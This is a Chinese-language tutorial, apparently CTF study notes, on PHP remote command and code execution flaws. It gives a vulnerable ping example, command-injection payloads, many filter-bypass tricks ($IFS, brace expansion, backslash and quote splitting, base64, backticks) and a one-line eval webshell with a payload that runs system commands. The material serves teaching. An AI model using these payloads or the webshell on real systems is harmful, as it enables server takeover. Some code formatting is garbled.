一、RCE简介
RCE漏洞,全称远程命令/代码执行漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。
RCE分为:
- 远程命令执行Remote Command Execute
- 远程代码执行Remote Code Execute
二、远程命令执行漏洞原理
一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口。比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上。一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。 如果,设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器。
这种漏洞形成的条件有两个:
- 有执行系统命令的函数。
- 函数中存在外部可操作的变量。
相关函数
system()
:执行外部程序,并且显示输出exec()
/shell_exec()
: 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回pcntl_exec()
:在当前进程空间执行指定程序passthru()
:执行外部程序并且显示原始输出popen()
:打开进程文件指针proc_open()
:执行一个命令,并且打开用来输入/输出的文件指针
<?php
echo system("ping -n 5".$_GET['ip']);
?>
上述代码不经过任何检查就将用户传入的参数拼接进system函数的参数中,这是相当危险的行为,因为安全开发守则最重要的的一条是永远不要相信用户的输入,这一条也催生了信息安全这个行业。
正常的输入为一个ipv4的地址例如127.0.0.1,通过echo返回执行结果。假设服务器操作系统为Linux,如果我们构造这样的一个恶意输入:127.0.0.1;ls -al
,这里的返回结果就会先显示ping结果然后返回该文件目录下的所有文件列表。
常用的管道符
windows:
- '|':直接执行后面的语句。
- '||':如果前面语句出错,执行后面语句。
- '&':前面语句不论真假都会执行后面语句。
- '&&':前面语句为真才会执行后面语句。
Linux:
- ';':先执行前面语句再执行后面语句。
- '|':显示后面语句的执行结果。
- '||':如果前面语句出错,执行后面语句。
- '&':前面语句不论真假都会执行后面语句。
- '&&':前面语句为真才会执行后面语句。
三、远程命令执行相关绕过
绕过空格
$IFS
${IFS}
$IFS$1
//$1改成$加其他数字貌似都行<
<>
{cat,flag.php}
//用逗号实现了空格功能%20
%09
有时会禁用cat: 解决方法是使用tac反向输出命令linux命令中可以加\,所以甚至可以ca\t /fl\ag
花括号
{}
在Linux bash中可以使用{OS_COMMAND,ARGUMENT}来执行系统命令 {cat,flag}
斜杠
路径: /
\
是在正则等语法里面,表示后面跟的字符是正常字符,不需要转义。滤掉cat ls
等命令时候,直接使用ca\t
来实现绕过
特定字符过滤
拼接绕过
比如:a=l;b=s;$a$b
利用偶读拼接方法绕过黑名单:a=fl;b=ag;cat $a$b
利用.拼接绕过(sy.(st).em)
使用内联执行代替system。
echo `ls`;
echo $(ls);
?><?=`ls`;
?><?=$(ls);
<?=`ls /`;?> # 等效于<?php echo `ls /`; ?>
编码绕过
echo 'Y2F0wqAK' | base64 -d 1.txt
-d是解码,是base64解码xxd - r -p
可以转换16进制,同样用户管道符之后。
单引号和双引号绕过
比如:ca‘‘t flag 或ca""t flag
利用Shell 特殊变量绕过
例如,第一个参数是1,第二个参数是2。而参数不存在时其值为空。$@表示
比如:fla$@g
或者ca$1t fla$2g
linux中直接查看目录的工具
- ls
- dir
linux中直接查看文件内容的工具
- more:一页一页的显示档案内容
- less:与 more 类似
- head:查看头几行
- tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
- tail:查看尾几行
- nl:显示的时候,顺便输出行号
- od:以二进制的方式读取档案内容
- vi:一种编辑器,这个也可以查看
- vim:一种编辑器,这个也可以查看
- sort:可以查看
- uniq:可以查看
- file -f:报错出具体内容
(假设该目录下有index.php和flag.php)
cat `ls`
等同于–>cat flag.php;cat index.php
文件构造
在ctfhub文件包含中,有一个shell,txt,也就是文件
我们令?file = shell.txt,已知shell.txt内容为
<?php eval($_REQUEST['ctfhub']);?>
在post数据里输入ctfhub=system("ls /");
就可以执行命令。
内联执行
内联,就是将反引号内命令的输出作为输入执行
cat$IFS$9`ls`
四、远程代码执行漏洞原理
有些场景需要动态的调用一些函数,在代码执行函数中含有了可被外部直接控制的参数,导致黑客拥有了任意代码执行的权限。
eval()
把字符串 code 作为PHP代码执行 (一句话木马)assert()
:检查一个断言是否为 falsepreg_replace()
: 执行一个正则表达式的搜索和替换create_function()
:创建一个匿名函数并且返回函数名称call_user_func()
/call_user_func_array()
:把第一个参数作为回调函数调用usort()
/uasort()
:使用用户自定义的比较函数对数组中的值进行排序并保持索引关联
常用的PHP函数
目录操作:
- getchwd() :函数返回当前工作目录。
- scandir() :函数返回指定目录中的文件和目录的数组。
- dirname() :函数返回路径中的目录部分。
- chdir() :函数改变当前的目录。
数组相关的操作:
- end() - 将内部指针指向数组中的最后一个元素,并输出。
- next() - 将内部指针指向数组中的下一个元素,并输出。
- prev() - 将内部指针指向数组中的上一个元素,并输出。
- reset() - 将内部指针指向数组中的第一个元素,并输出。
- each() - 返回当前元素的键名和键值,并将内部指针向前移动。
- array_shift() - 删除数组中第一个元素,并返回被删除元素的值。
读文件
- show_source() - 对文件进行语法高亮显示。
- readfile() - 输出一个文件。
- highlight_file() - 对文件进行语法高亮显示。
- file_get_contents() - 把整个文件读入一个字符串中。
- readgzfile() - 可用于读取非 gzip 格式的文件
环境变量
getenv()
:获取环境变量的值(在PHP7.1之后可以不给予参数)